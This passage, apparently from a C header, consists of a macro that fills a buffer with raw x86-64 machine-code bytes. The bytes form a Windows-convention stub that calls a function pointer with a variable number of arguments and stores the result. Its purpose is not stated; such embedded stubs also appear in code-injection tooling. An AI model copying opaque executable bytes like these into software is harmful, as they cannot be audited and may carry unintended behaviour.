(p)[ 992]=0x00; (p)[ 993]=0x00; (p)[ 994]=0x00; (p)[ 995]=0x83; (p)[ 996]=0xF8; (p)[ 997]=0x04; (p)[ 998]=0x0F; (p)[ 999]=0x87; \
|
||||
(p)[1000]=0xA3; (p)[1001]=0x03; (p)[1002]=0x00; (p)[1003]=0x00; (p)[1004]=0x83; (p)[1005]=0xF8; (p)[1006]=0x03; (p)[1007]=0x0F; \
|
||||
(p)[1008]=0x84; (p)[1009]=0x8C; (p)[1010]=0x00; (p)[1011]=0x00; (p)[1012]=0x00; (p)[1013]=0x83; (p)[1014]=0xF8; (p)[1015]=0x03; \
|
||||
(p)[1016]=0x0F; (p)[1017]=0x87; (p)[1018]=0x91; (p)[1019]=0x03; (p)[1020]=0x00; (p)[1021]=0x00; (p)[1022]=0x83; (p)[1023]=0xF8; \
|
||||
(p)[1024]=0x02; (p)[1025]=0x74; (p)[1026]=0x51; (p)[1027]=0x83; (p)[1028]=0xF8; (p)[1029]=0x02; (p)[1030]=0x0F; (p)[1031]=0x87; \
|
||||
(p)[1032]=0x83; (p)[1033]=0x03; (p)[1034]=0x00; (p)[1035]=0x00; (p)[1036]=0x85; (p)[1037]=0xC0; (p)[1038]=0x74; (p)[1039]=0x0A; \
|
||||
(p)[1040]=0x83; (p)[1041]=0xF8; (p)[1042]=0x01; (p)[1043]=0x74; (p)[1044]=0x1B; (p)[1045]=0xE9; (p)[1046]=0x75; (p)[1047]=0x03; \
|
||||
(p)[1048]=0x00; (p)[1049]=0x00; (p)[1050]=0x48; (p)[1051]=0x8B; (p)[1052]=0x45; (p)[1053]=0x30; (p)[1054]=0x48; (p)[1055]=0x8B; \
|
||||
(p)[1056]=0x00; (p)[1057]=0xFF; (p)[1058]=0xD0; (p)[1059]=0x48; (p)[1060]=0x8B; (p)[1061]=0x55; (p)[1062]=0x30; (p)[1063]=0x48; \
|
||||
(p)[1064]=0x89; (p)[1065]=0x42; (p)[1066]=0x60; (p)[1067]=0xE9; (p)[1068]=0x5F; (p)[1069]=0x03; (p)[1070]=0x00; (p)[1071]=0x00; \
|
||||
(p)[1072]=0x48; (p)[1073]=0x8B; (p)[1074]=0x45; (p)[1075]=0x30; (p)[1076]=0x48; (p)[1077]=0x8B; (p)[1078]=0x00; (p)[1079]=0x48; \
|
||||
(p)[1080]=0x89; (p)[1081]=0xC2; (p)[1082]=0x48; (p)[1083]=0x8B; (p)[1084]=0x45; (p)[1085]=0x30; (p)[1086]=0x48; (p)[1087]=0x8B; \
|
||||
(p)[1088]=0x40; (p)[1089]=0x10; (p)[1090]=0x48; (p)[1091]=0x89; (p)[1092]=0xC1; (p)[1093]=0xFF; (p)[1094]=0xD2; (p)[1095]=0x48; \
|
||||
(p)[1096]=0x8B; (p)[1097]=0x55; (p)[1098]=0x30; (p)[1099]=0x48; (p)[1100]=0x89; (p)[1101]=0x42; (p)[1102]=0x60; (p)[1103]=0xE9; \
|
||||
(p)[1104]=0x3B; (p)[1105]=0x03; (p)[1106]=0x00; (p)[1107]=0x00; (p)[1108]=0x48; (p)[1109]=0x8B; (p)[1110]=0x45; (p)[1111]=0x30; \
|
||||
(p)[1112]=0x48; (p)[1113]=0x8B; (p)[1114]=0x00; (p)[1115]=0x49; (p)[1116]=0x89; (p)[1117]=0xC0; (p)[1118]=0x48; (p)[1119]=0x8B; \
|
||||
(p)[1120]=0x45; (p)[1121]=0x30; (p)[1122]=0x48; (p)[1123]=0x8B; (p)[1124]=0x50; (p)[1125]=0x18; (p)[1126]=0x48; (p)[1127]=0x8B; \
|
||||
(p)[1128]=0x45; (p)[1129]=0x30; (p)[1130]=0x48; (p)[1131]=0x8B; (p)[1132]=0x40; (p)[1133]=0x10; (p)[1134]=0x48; (p)[1135]=0x89; \
|
||||
(p)[1136]=0xC1; (p)[1137]=0x41; (p)[1138]=0xFF; (p)[1139]=0xD0; (p)[1140]=0x48; (p)[1141]=0x8B; (p)[1142]=0x55; (p)[1143]=0x30; \
|
||||
(p)[1144]=0x48; (p)[1145]=0x89; (p)[1146]=0x42; (p)[1147]=0x60; (p)[1148]=0xE9; (p)[1149]=0x0E; (p)[1150]=0x03; (p)[1151]=0x00; \
|
||||
(p)[1152]=0x00; (p)[1153]=0x48; (p)[1154]=0x8B; (p)[1155]=0x45; (p)[1156]=0x30; (p)[1157]=0x48; (p)[1158]=0x8B; (p)[1159]=0x00; \
|
||||
(p)[1160]=0x49; (p)[1161]=0x89; (p)[1162]=0xC1; (p)[1163]=0x48; (p)[1164]=0x8B; (p)[1165]=0x45; (p)[1166]=0x30; (p)[1167]=0x48; \
|
||||
(p)[1168]=0x8B; (p)[1169]=0x48; (p)[1170]=0x20; (p)[1171]=0x48; (p)[1172]=0x8B; (p)[1173]=0x45; (p)[1174]=0x30; (p)[1175]=0x48; \
|
||||
(p)[1176]=0x8B; (p)[1177]=0x50; (p)[1178]=0x18; (p)[1179]=0x48; (p)[1180]=0x8B; (p)[1181]=0x45; (p)[1182]=0x30; (p)[1183]=0x48; \
|
||||
(p)[1184]=0x8B; (p)[1185]=0x40; (p)[1186]=0x10; (p)[1187]=0x49; (p)[1188]=0x89; (p)[1189]=0xC8; (p)[1190]=0x48; (p)[1191]=0x89; \
|
||||
(p)[1192]=0xC1; (p)[1193]=0x41; (p)[1194]=0xFF; (p)[1195]=0xD1; (p)[1196]=0x48; (p)[1197]=0x8B; (p)[1198]=0x55; (p)[1199]=0x30; \
|
||||
(p)[1200]=0x48; (p)[1201]=0x89; (p)[1202]=0x42; (p)[1203]=0x60; (p)[1204]=0xE9; (p)[1205]=0xD6; (p)[1206]=0x02; (p)[1207]=0x00; \
|
||||
(p)[1208]=0x00; (p)[1209]=0x48; (p)[1210]=0x8B; (p)[1211]=0x45; (p)[1212]=0x30; (p)[1213]=0x48; (p)[1214]=0x8B; (p)[1215]=0x00; \
|
||||
(p)[1216]=0x49; (p)[1217]=0x89; (p)[1218]=0xC2; (p)[1219]=0x48; (p)[1220]=0x8B; (p)[1221]=0x45; (p)[1222]=0x30; (p)[1223]=0x4C; \
|
||||
(p)[1224]=0x8B; (p)[1225]=0x40; (p)[1226]=0x28; (p)[1227]=0x48; (p)[1228]=0x8B; (p)[1229]=0x45; (p)[1230]=0x30; (p)[1231]=0x48; \
|
||||
(p)[1232]=0x8B; (p)[1233]=0x48; (p)[1234]=0x20; (p)[1235]=0x48; (p)[1236]=0x8B; (p)[1237]=0x45; (p)[1238]=0x30; (p)[1239]=0x48; \
|
||||
(p)[1240]=0x8B; (p)[1241]=0x50; (p)[1242]=0x18; (p)[1243]=0x48; (p)[1244]=0x8B; (p)[1245]=0x45; (p)[1246]=0x30; (p)[1247]=0x48; \
|
||||
(p)[1248]=0x8B; (p)[1249]=0x40; (p)[1250]=0x10; (p)[1251]=0x4D; (p)[1252]=0x89; (p)[1253]=0xC1; (p)[1254]=0x49; (p)[1255]=0x89; \
|
||||
(p)[1256]=0xC8; (p)[1257]=0x48; (p)[1258]=0x89; (p)[1259]=0xC1; (p)[1260]=0x41; (p)[1261]=0xFF; (p)[1262]=0xD2; (p)[1263]=0x48; \
|
||||
(p)[1264]=0x8B; (p)[1265]=0x55; (p)[1266]=0x30; (p)[1267]=0x48; (p)[1268]=0x89; (p)[1269]=0x42; (p)[1270]=0x60; (p)[1271]=0xE9; \
|
||||
(p)[1272]=0x93; (p)[1273]=0x02; (p)[1274]=0x00; (p)[1275]=0x00; (p)[1276]=0x48; (p)[1277]=0x8B; (p)[1278]=0x45; (p)[1279]=0x30; \
|
||||
(p)[1280]=0x48; (p)[1281]=0x8B; (p)[1282]=0x00; (p)[1283]=0x49; (p)[1284]=0x89; (p)[1285]=0xC2; (p)[1286]=0x48; (p)[1287]=0x8B; \
|
||||
(p)[1288]=0x45; (p)[1289]=0x30; (p)[1290]=0x48; (p)[1291]=0x8B; (p)[1292]=0x48; (p)[1293]=0x30; (p)[1294]=0x48; (p)[1295]=0x8B; \
|
||||
(p)[1296]=0x45; (p)[1297]=0x30; (p)[1298]=0x4C; (p)[1299]=0x8B; (p)[1300]=0x48; (p)[1301]=0x28; (p)[1302]=0x48; (p)[1303]=0x8B; \
|
||||
(p)[1304]=0x45; (p)[1305]=0x30; (p)[1306]=0x4C; (p)[1307]=0x8B; (p)[1308]=0x40; (p)[1309]=0x20; (p)[1310]=0x48; (p)[1311]=0x8B; \
|
||||
(p)[1312]=0x45; (p)[1313]=0x30; (p)[1314]=0x48; (p)[1315]=0x8B; (p)[1316]=0x50; (p)[1317]=0x18; (p)[1318]=0x48; (p)[1319]=0x8B; \
|
||||
(p)[1320]=0x45; (p)[1321]=0x30; (p)[1322]=0x48; (p)[1323]=0x8B; (p)[1324]=0x40; (p)[1325]=0x10; (p)[1326]=0x48; (p)[1327]=0x89; \
|
||||
(p)[1328]=0x4C; (p)[1329]=0x24; (p)[1330]=0x20; (p)[1331]=0x48; (p)[1332]=0x89; (p)[1333]=0xC1; (p)[1334]=0x41; (p)[1335]=0xFF; \
|
||||
(p)[1336]=0xD2; (p)[1337]=0x48; (p)[1338]=0x8B; (p)[1339]=0x55; (p)[1340]=0x30; (p)[1341]=0x48; (p)[1342]=0x89; (p)[1343]=0x42; \
|
||||
(p)[1344]=0x60; (p)[1345]=0xE9; (p)[1346]=0x49; (p)[1347]=0x02; (p)[1348]=0x00; (p)[1349]=0x00; (p)[1350]=0x48; (p)[1351]=0x8B; \
|
||||
(p)[1352]=0x45; (p)[1353]=0x30; (p)[1354]=0x48; (p)[1355]=0x8B; (p)[1356]=0x00; (p)[1357]=0x49; (p)[1358]=0x89; (p)[1359]=0xC3; \
|
||||
(p)[1360]=0x48; (p)[1361]=0x8B; (p)[1362]=0x45; (p)[1363]=0x30; (p)[1364]=0x4C; (p)[1365]=0x8B; (p)[1366]=0x40; (p)[1367]=0x38; \
|
||||
(p)[1368]=0x48; (p)[1369]=0x8B; (p)[1370]=0x45; (p)[1371]=0x30; (p)[1372]=0x48; (p)[1373]=0x8B; (p)[1374]=0x48; (p)[1375]=0x30; \
|
||||
(p)[1376]=0x48; (p)[1377]=0x8B; (p)[1378]=0x45; (p)[1379]=0x30; (p)[1380]=0x4C; (p)[1381]=0x8B; (p)[1382]=0x48; (p)[1383]=0x28; \
|
||||
(p)[1384]=0x48; (p)[1385]=0x8B; (p)[1386]=0x45; (p)[1387]=0x30; (p)[1388]=0x4C; (p)[1389]=0x8B; (p)[1390]=0x50; (p)[1391]=0x20; \
|
||||
(p)[1392]=0x48; (p)[1393]=0x8B; (p)[1394]=0x45; (p)[1395]=0x30; (p)[1396]=0x48; (p)[1397]=0x8B; (p)[1398]=0x50; (p)[1399]=0x18; \
|
||||
(p)[1400]=0x48; (p)[1401]=0x8B; (p)[1402]=0x45; (p)[1403]=0x30; (p)[1404]=0x48; (p)[1405]=0x8B; (p)[1406]=0x40; (p)[1407]=0x10; \
|
||||
(p)[1408]=0x4C; (p)[1409]=0x89; (p)[1410]=0x44; (p)[1411]=0x24; (p)[1412]=0x28; (p)[1413]=0x48; (p)[1414]=0x89; (p)[1415]=0x4C; \
|
||||
(p)[1416]=0x24; (p)[1417]=0x20; (p)[1418]=0x4D; (p)[1419]=0x89; (p)[1420]=0xD0; (p)[1421]=0x48; (p)[1422]=0x89; (p)[1423]=0xC1; \
|
||||
(p)[1424]=0x41; (p)[1425]=0xFF; (p)[1426]=0xD3; (p)[1427]=0x48; (p)[1428]=0x8B; (p)[1429]=0x55; (p)[1430]=0x30; (p)[1431]=0x48; \
|
||||
(p)[1432]=0x89; (p)[1433]=0x42; (p)[1434]=0x60; (p)[1435]=0xE9; (p)[1436]=0xEF; (p)[1437]=0x01; (p)[1438]=0x00; (p)[1439]=0x00; \
|
||||
(p)[1440]=0x48; (p)[1441]=0x8B; (p)[1442]=0x45; (p)[1443]=0x30; (p)[1444]=0x48; (p)[1445]=0x8B; (p)[1446]=0x00; (p)[1447]=0x48; \
|
||||
(p)[1448]=0x89; (p)[1449]=0xC3; (p)[1450]=0x48; (p)[1451]=0x8B; (p)[1452]=0x45; (p)[1453]=0x30; (p)[1454]=0x4C; (p)[1455]=0x8B; \
|
||||
(p)[1456]=0x48; (p)[1457]=0x40; (p)[1458]=0x48; (p)[1459]=0x8B; (p)[1460]=0x45; (p)[1461]=0x30; (p)[1462]=0x4C; (p)[1463]=0x8B; \
|
||||
(p)[1464]=0x40; (p)[1465]=0x38; (p)[1466]=0x48; (p)[1467]=0x8B; (p)[1468]=0x45; (p)[1469]=0x30; (p)[1470]=0x48; (p)[1471]=0x8B; \
|
||||
(p)[1472]=0x48; (p)[1473]=0x30; (p)[1474]=0x48; (p)[1475]=0x8B; (p)[1476]=0x45; (p)[1477]=0x30; (p)[1478]=0x4C; (p)[1479]=0x8B; \
|
||||
(p)[1480]=0x58; (p)[1481]=0x28; (p)[1482]=0x48; (p)[1483]=0x8B; (p)[1484]=0x45; (p)[1485]=0x30; (p)[1486]=0x4C; (p)[1487]=0x8B; \
|
||||
(p)[1488]=0x50; (p)[1489]=0x20; (p)[1490]=0x48; (p)[1491]=0x8B; (p)[1492]=0x45; (p)[1493]=0x30; (p)[1494]=0x48; (p)[1495]=0x8B; \
|
||||
(p)[1496]=0x50; (p)[1497]=0x18; (p)[1498]=0x48; (p)[1499]=0x8B; (p)[1500]=0x45; (p)[1501]=0x30; (p)[1502]=0x48; (p)[1503]=0x8B; \
|
||||
(p)[1504]=0x40; (p)[1505]=0x10; (p)[1506]=0x4C; (p)[1507]=0x89; (p)[1508]=0x4C; (p)[1509]=0x24; (p)[1510]=0x30; (p)[1511]=0x4C; \
|
||||
(p)[1512]=0x89; (p)[1513]=0x44; (p)[1514]=0x24; (p)[1515]=0x28; (p)[1516]=0x48; (p)[1517]=0x89; (p)[1518]=0x4C; (p)[1519]=0x24; \
|
||||
(p)[1520]=0x20; (p)[1521]=0x4D; (p)[1522]=0x89; (p)[1523]=0xD9; (p)[1524]=0x4D; (p)[1525]=0x89; (p)[1526]=0xD0; (p)[1527]=0x48; \
|
||||
(p)[1528]=0x89; (p)[1529]=0xC1; (p)[1530]=0xFF; (p)[1531]=0xD3; (p)[1532]=0x48; (p)[1533]=0x8B; (p)[1534]=0x55; (p)[1535]=0x30; \
|
||||
(p)[1536]=0x48; (p)[1537]=0x89; (p)[1538]=0x42; (p)[1539]=0x60; (p)[1540]=0xE9; (p)[1541]=0x86; (p)[1542]=0x01; (p)[1543]=0x00; \
|
||||
(p)[1544]=0x00; (p)[1545]=0x48; (p)[1546]=0x8B; (p)[1547]=0x45; (p)[1548]=0x30; (p)[1549]=0x48; (p)[1550]=0x8B; (p)[1551]=0x00; \
|
||||
(p)[1552]=0x48; (p)[1553]=0x89; (p)[1554]=0xC6; (p)[1555]=0x48; (p)[1556]=0x8B; (p)[1557]=0x45; (p)[1558]=0x30; (p)[1559]=0x4C; \
|
||||
(p)[1560]=0x8B; (p)[1561]=0x50; (p)[1562]=0x48; (p)[1563]=0x48; (p)[1564]=0x8B; (p)[1565]=0x45; (p)[1566]=0x30; (p)[1567]=0x4C; \
|
||||
(p)[1568]=0x8B; (p)[1569]=0x48; (p)[1570]=0x40; (p)[1571]=0x48; (p)[1572]=0x8B; (p)[1573]=0x45; (p)[1574]=0x30; (p)[1575]=0x4C; \
|
||||
(p)[1576]=0x8B; (p)[1577]=0x40; (p)[1578]=0x38; (p)[1579]=0x48; (p)[1580]=0x8B; (p)[1581]=0x45; (p)[1582]=0x30; (p)[1583]=0x48; \
|
||||
(p)[1584]=0x8B; (p)[1585]=0x48; (p)[1586]=0x30; (p)[1587]=0x48; (p)[1588]=0x8B; (p)[1589]=0x45; (p)[1590]=0x30; (p)[1591]=0x48; \
|
||||
(p)[1592]=0x8B; (p)[1593]=0x58; (p)[1594]=0x28; (p)[1595]=0x48; (p)[1596]=0x8B; (p)[1597]=0x45; (p)[1598]=0x30; (p)[1599]=0x4C; \
|
||||
(p)[1600]=0x8B; (p)[1601]=0x58; (p)[1602]=0x20; (p)[1603]=0x48; (p)[1604]=0x8B; (p)[1605]=0x45; (p)[1606]=0x30; (p)[1607]=0x48; \
|
||||
(p)[1608]=0x8B; (p)[1609]=0x50; (p)[1610]=0x18; (p)[1611]=0x48; (p)[1612]=0x8B; (p)[1613]=0x45; (p)[1614]=0x30; (p)[1615]=0x48; \
|
||||
(p)[1616]=0x8B; (p)[1617]=0x40; (p)[1618]=0x10; (p)[1619]=0x4C; (p)[1620]=0x89; (p)[1621]=0x54; (p)[1622]=0x24; (p)[1623]=0x38; \
|
||||
(p)[1624]=0x4C; (p)[1625]=0x89; (p)[1626]=0x4C; (p)[1627]=0x24; (p)[1628]=0x30; (p)[1629]=0x4C; (p)[1630]=0x89; (p)[1631]=0x44; \
|
||||
(p)[1632]=0x24; (p)[1633]=0x28; (p)[1634]=0x48; (p)[1635]=0x89; (p)[1636]=0x4C; (p)[1637]=0x24; (p)[1638]=0x20; (p)[1639]=0x49; \
|
||||
(p)[1640]=0x89; (p)[1641]=0xD9; (p)[1642]=0x4D; (p)[1643]=0x89; (p)[1644]=0xD8; (p)[1645]=0x48; (p)[1646]=0x89; (p)[1647]=0xC1; \
|
||||
(p)[1648]=0xFF; (p)[1649]=0xD6; (p)[1650]=0x48; (p)[1651]=0x8B; (p)[1652]=0x55; (p)[1653]=0x30; (p)[1654]=0x48; (p)[1655]=0x89; \
|
||||
(p)[1656]=0x42; (p)[1657]=0x60; (p)[1658]=0xE9; (p)[1659]=0x10; (p)[1660]=0x01; (p)[1661]=0x00; (p)[1662]=0x00; (p)[1663]=0x48; \
|
||||
(p)[1664]=0x8B; (p)[1665]=0x45; (p)[1666]=0x30; (p)[1667]=0x48; (p)[1668]=0x8B; (p)[1669]=0x00; (p)[1670]=0x48; (p)[1671]=0x89; \
|
||||
(p)[1672]=0xC7; (p)[1673]=0x48; (p)[1674]=0x8B; (p)[1675]=0x45; (p)[1676]=0x30; (p)[1677]=0x4C; (p)[1678]=0x8B; (p)[1679]=0x58; \
|
||||
(p)[1680]=0x50; (p)[1681]=0x48; (p)[1682]=0x8B; (p)[1683]=0x45; (p)[1684]=0x30; (p)[1685]=0x4C; (p)[1686]=0x8B; (p)[1687]=0x50; \
|
||||
(p)[1688]=0x48; (p)[1689]=0x48; (p)[1690]=0x8B; (p)[1691]=0x45; (p)[1692]=0x30; (p)[1693]=0x4C; (p)[1694]=0x8B; (p)[1695]=0x48; \
|
||||
(p)[1696]=0x40; (p)[1697]=0x48; (p)[1698]=0x8B; (p)[1699]=0x45; (p)[1700]=0x30; (p)[1701]=0x4C; (p)[1702]=0x8B; (p)[1703]=0x40; \
|
||||
(p)[1704]=0x38; (p)[1705]=0x48; (p)[1706]=0x8B; (p)[1707]=0x45; (p)[1708]=0x30; (p)[1709]=0x48; (p)[1710]=0x8B; (p)[1711]=0x48; \
|
||||
(p)[1712]=0x30; (p)[1713]=0x48; (p)[1714]=0x8B; (p)[1715]=0x45; (p)[1716]=0x30; (p)[1717]=0x48; (p)[1718]=0x8B; (p)[1719]=0x70; \
|
||||
(p)[1720]=0x28; (p)[1721]=0x48; (p)[1722]=0x8B; (p)[1723]=0x45; (p)[1724]=0x30; (p)[1725]=0x48; (p)[1726]=0x8B; (p)[1727]=0x58; \
|
||||
(p)[1728]=0x20; (p)[1729]=0x48; (p)[1730]=0x8B; (p)[1731]=0x45; (p)[1732]=0x30; (p)[1733]=0x48; (p)[1734]=0x8B; (p)[1735]=0x50; \
|
||||
(p)[1736]=0x18; (p)[1737]=0x48; (p)[1738]=0x8B; (p)[1739]=0x45; (p)[1740]=0x30; (p)[1741]=0x48; (p)[1742]=0x8B; (p)[1743]=0x40; \
|
||||
(p)[1744]=0x10; (p)[1745]=0x4C; (p)[1746]=0x89; (p)[1747]=0x5C; (p)[1748]=0x24; (p)[1749]=0x40; (p)[1750]=0x4C; (p)[1751]=0x89; \
|
||||
(p)[1752]=0x54; (p)[1753]=0x24; (p)[1754]=0x38; (p)[1755]=0x4C; (p)[1756]=0x89; (p)[1757]=0x4C; (p)[1758]=0x24; (p)[1759]=0x30; \
|
||||
(p)[1760]=0x4C; (p)[1761]=0x89; (p)[1762]=0x44; (p)[1763]=0x24; (p)[1764]=0x28; (p)[1765]=0x48; (p)[1766]=0x89; (p)[1767]=0x4C; \
|
||||
(p)[1768]=0x24; (p)[1769]=0x20; (p)[1770]=0x49; (p)[1771]=0x89; (p)[1772]=0xF1; (p)[1773]=0x49; (p)[1774]=0x89; (p)[1775]=0xD8; \
|
||||
(p)[1776]=0x48; (p)[1777]=0x89; (p)[1778]=0xC1; (p)[1779]=0xFF; (p)[1780]=0xD7; (p)[1781]=0x48; (p)[1782]=0x8B; (p)[1783]=0x55; \
|
||||
(p)[1784]=0x30; (p)[1785]=0x48; (p)[1786]=0x89; (p)[1787]=0x42; (p)[1788]=0x60; (p)[1789]=0xE9; (p)[1790]=0x8D; (p)[1791]=0x00; \
|
||||
(p)[1792]=0x00; (p)[1793]=0x00; (p)[1794]=0x48; (p)[1795]=0x8B; (p)[1796]=0x45; (p)[1797]=0x30; (p)[1798]=0x48; (p)[1799]=0x8B; \
|
||||
(p)[1800]=0x00; (p)[1801]=0x49; (p)[1802]=0x89; (p)[1803]=0xC4; (p)[1804]=0x48; (p)[1805]=0x8B; (p)[1806]=0x45; (p)[1807]=0x30; \
|
||||
(p)[1808]=0x48; (p)[1809]=0x8B; (p)[1810]=0x58; (p)[1811]=0x58; (p)[1812]=0x48; (p)[1813]=0x8B; (p)[1814]=0x45; (p)[1815]=0x30; \
|
||||
(p)[1816]=0x4C; (p)[1817]=0x8B; (p)[1818]=0x58; (p)[1819]=0x50; (p)[1820]=0x48; (p)[1821]=0x8B; (p)[1822]=0x45; (p)[1823]=0x30; \
|
||||
(p)[1824]=0x4C; (p)[1825]=0x8B; (p)[1826]=0x50; (p)[1827]=0x48; (p)[1828]=0x48; (p)[1829]=0x8B; (p)[1830]=0x45; (p)[1831]=0x30; \
|
||||
(p)[1832]=0x4C; (p)[1833]=0x8B; (p)[1834]=0x48; (p)[1835]=0x40; (p)[1836]=0x48; (p)[1837]=0x8B; (p)[1838]=0x45; (p)[1839]=0x30; \
|
||||
(p)[1840]=0x4C; (p)[1841]=0x8B; (p)[1842]=0x40; (p)[1843]=0x38; (p)[1844]=0x48; (p)[1845]=0x8B; (p)[1846]=0x45; (p)[1847]=0x30; \
|
||||
(p)[1848]=0x48; (p)[1849]=0x8B; (p)[1850]=0x48; (p)[1851]=0x30; (p)[1852]=0x48; (p)[1853]=0x8B; (p)[1854]=0x45; (p)[1855]=0x30; \
|
||||
(p)[1856]=0x48; (p)[1857]=0x8B; (p)[1858]=0x78; (p)[1859]=0x28; (p)[1860]=0x48; (p)[1861]=0x8B; (p)[1862]=0x45; (p)[1863]=0x30; \
|
||||
(p)[1864]=0x48; (p)[1865]=0x8B; (p)[1866]=0x70; (p)[1867]=0x20; (p)[1868]=0x48; (p)[1869]=0x8B; (p)[1870]=0x45; (p)[1871]=0x30; \
|
||||
(p)[1872]=0x48; (p)[1873]=0x8B; (p)[1874]=0x50; (p)[1875]=0x18; (p)[1876]=0x48; (p)[1877]=0x8B; (p)[1878]=0x45; (p)[1879]=0x30; \
|
||||
(p)[1880]=0x48; (p)[1881]=0x8B; (p)[1882]=0x40; (p)[1883]=0x10; (p)[1884]=0x48; (p)[1885]=0x89; (p)[1886]=0x5C; (p)[1887]=0x24; \
|
||||
(p)[1888]=0x48; (p)[1889]=0x4C; (p)[1890]=0x89; (p)[1891]=0x5C; (p)[1892]=0x24; (p)[1893]=0x40; (p)[1894]=0x4C; (p)[1895]=0x89; \
|
||||
(p)[1896]=0x54; (p)[1897]=0x24; (p)[1898]=0x38; (p)[1899]=0x4C; (p)[1900]=0x89; (p)[1901]=0x4C; (p)[1902]=0x24; (p)[1903]=0x30; \
|
||||
(p)[1904]=0x4C; (p)[1905]=0x89; (p)[1906]=0x44; (p)[1907]=0x24; (p)[1908]=0x28; (p)[1909]=0x48; (p)[1910]=0x89; (p)[1911]=0x4C; \
|
||||
(p)[1912]=0x24; (p)[1913]=0x20; (p)[1914]=0x49; (p)[1915]=0x89; (p)[1916]=0xF9; (p)[1917]=0x49; (p)[1918]=0x89; (p)[1919]=0xF0; \
|
||||
(p)[1920]=0x48; (p)[1921]=0x89; (p)[1922]=0xC1; (p)[1923]=0x41; (p)[1924]=0xFF; (p)[1925]=0xD4; (p)[1926]=0x48; (p)[1927]=0x8B; \
|
||||
(p)[1928]=0x55; (p)[1929]=0x30; (p)[1930]=0x48; (p)[1931]=0x89; (p)[1932]=0x42; (p)[1933]=0x60; (p)[1934]=0x90; (p)[1935]=0x90; \
|
||||
(p)[1936]=0x48; (p)[1937]=0x83; (p)[1938]=0xC4; (p)[1939]=0x50; (p)[1940]=0x5B; (p)[1941]=0x5E; (p)[1942]=0x5F; (p)[1943]=0x41; \
|
||||
(p)[1944]=0x5C; (p)[1945]=0x5D; (p)[1946]=0xC3; (p)[1947]=0x90; (p)[1948]=0x55; (p)[1949]=0x48; (p)[1950]=0x89; (p)[1951]=0xE5; \
|
||||
(p)[1952]=0x48; (p)[1953]=0x83; (p)[1954]=0xEC; (p)[1955]=0x20; (p)[1956]=0x48; (p)[1957]=0x89; (p)[1958]=0x4D; (p)[1959]=0x10; \
|
||||
(p)[1960]=0x48; (p)[1961]=0x89; (p)[1962]=0x55; (p)[1963]=0x18; (p)[1964]=0x48; (p)[1965]=0x8B; (p)[1966]=0x45; (p)[1967]=0x18; \
|
||||
(p)[1968]=0x4C; (p)[1969]=0x8B; (p)[1970]=0x00; (p)[1971]=0x48; (p)[1972]=0x8B; (p)[1973]=0x45; (p)[1974]=0x18; (p)[1975]=0x8B; \
|
||||
(p)[1976]=0x50; (p)[1977]=0x0C; (p)[1978]=0x48; (p)[1979]=0x8B; (p)[1980]=0x45; (p)[1981]=0x18; (p)[1982]=0x8B; (p)[1983]=0x40; \
|
||||
(p)[1984]=0x08; (p)[1985]=0x48; (p)[1986]=0x8D; (p)[1987]=0x0D; (p)[1988]=0x78; (p)[1989]=0x00; (p)[1990]=0x00; (p)[1991]=0x00; \
|
||||
(p)[1992]=0x4D; (p)[1993]=0x89; (p)[1994]=0xC1; (p)[1995]=0x41; (p)[1996]=0x89; (p)[1997]=0xD0; (p)[1998]=0x89; (p)[1999]=0xC2; \
|
||||
(p)[2000]=0x48; (p)[2001]=0x8B; (p)[2002]=0x05; (p)[2003]=0x00; (p)[2004]=0x00; (p)[2005]=0x00; (p)[2006]=0x00; (p)[2007]=0xFF; \
|
||||
(p)[2008]=0xD0; (p)[2009]=0x48; (p)[2010]=0x8B; (p)[2011]=0x45; (p)[2012]=0x18; (p)[2013]=0x8B; (p)[2014]=0x40; (p)[2015]=0x08; \
|
||||
(p)[2016]=0x83; (p)[2017]=0xF8; (p)[2018]=0x04; (p)[2019]=0x74; (p)[2020]=0x45; (p)[2021]=0x83; (p)[2022]=0xF8; (p)[2023]=0x04; \
|
||||
(p)[2024]=0x77; (p)[2025]=0x4E; (p)[2026]=0x83; (p)[2027]=0xF8; (p)[2028]=0x03; (p)[2029]=0x74; (p)[2030]=0x2D; (p)[2031]=0x83; \
|
||||
(p)[2032]=0xF8; (p)[2033]=0x03; (p)[2034]=0x77; (p)[2035]=0x44; (p)[2036]=0x83; (p)[2037]=0xF8; (p)[2038]=0x01; (p)[2039]=0x74; \
|
||||
(p)[2040]=0x07; (p)[2041]=0x83; (p)[2042]=0xF8; (p)[2043]=0x02; (p)[2044]=0x74; (p)[2045]=0x10; (p)[2046]=0xEB; (p)[2047]=0x38; \
|
||||
(p)[2048]=0x48; (p)[2049]=0x8B; (p)[2050]=0x45; (p)[2051]=0x18; (p)[2052]=0x48; (p)[2053]=0x89; (p)[2054]=0xC1; (p)[2055]=0xE8; \
|
||||
(p)[2056]=0x20; (p)[2057]=0xF9; (p)[2058]=0xFF; (p)[2059]=0xFF; (p)[2060]=0xEB; (p)[2061]=0x37; (p)[2062]=0x48; (p)[2063]=0x8B; \
|
||||
(p)[2064]=0x45; (p)[2065]=0x18; (p)[2066]=0x48; (p)[2067]=0x89; (p)[2068]=0xC1; (p)[2069]=0xE8; (p)[2070]=0xB9; (p)[2071]=0xF9; \
|
||||
(p)[2072]=0xFF; (p)[2073]=0xFF; (p)[2074]=0xEB; (p)[2075]=0x29; (p)[2076]=0x48; (p)[2077]=0x8B; (p)[2078]=0x45; (p)[2079]=0x18; \
|
||||
(p)[2080]=0x48; (p)[2081]=0x89; (p)[2082]=0xC1; (p)[2083]=0xE8; (p)[2084]=0x2D; (p)[2085]=0xFA; (p)[2086]=0xFF; (p)[2087]=0xFF; \
|
||||
(p)[2088]=0xEB; (p)[2089]=0x1B; (p)[2090]=0x48; (p)[2091]=0x8B; (p)[2092]=0x45; (p)[2093]=0x18; (p)[2094]=0x48; (p)[2095]=0x89; \
|
||||
(p)[2096]=0xC1; (p)[2097]=0xE8; (p)[2098]=0xAA; (p)[2099]=0xFA; (p)[2100]=0xFF; (p)[2101]=0xFF; (p)[2102]=0xEB; (p)[2103]=0x0D; \
|
||||
(p)[2104]=0x48; (p)[2105]=0x8B; (p)[2106]=0x45; (p)[2107]=0x18; (p)[2108]=0x48; (p)[2109]=0x89; (p)[2110]=0xC1; (p)[2111]=0xE8; \
|
||||
(p)[2112]=0x10; (p)[2113]=0xFB; (p)[2114]=0xFF; (p)[2115]=0xFF; (p)[2116]=0x90; (p)[2117]=0x48; (p)[2118]=0x83; (p)[2119]=0xC4; \
|
||||
(p)[2120]=0x20; (p)[2121]=0x5D; (p)[2122]=0xC3; (p)[2123]=0x90; (p)[2124]=0x5B; (p)[2125]=0x73; (p)[2126]=0x6C; (p)[2127]=0x65; \
|
||||
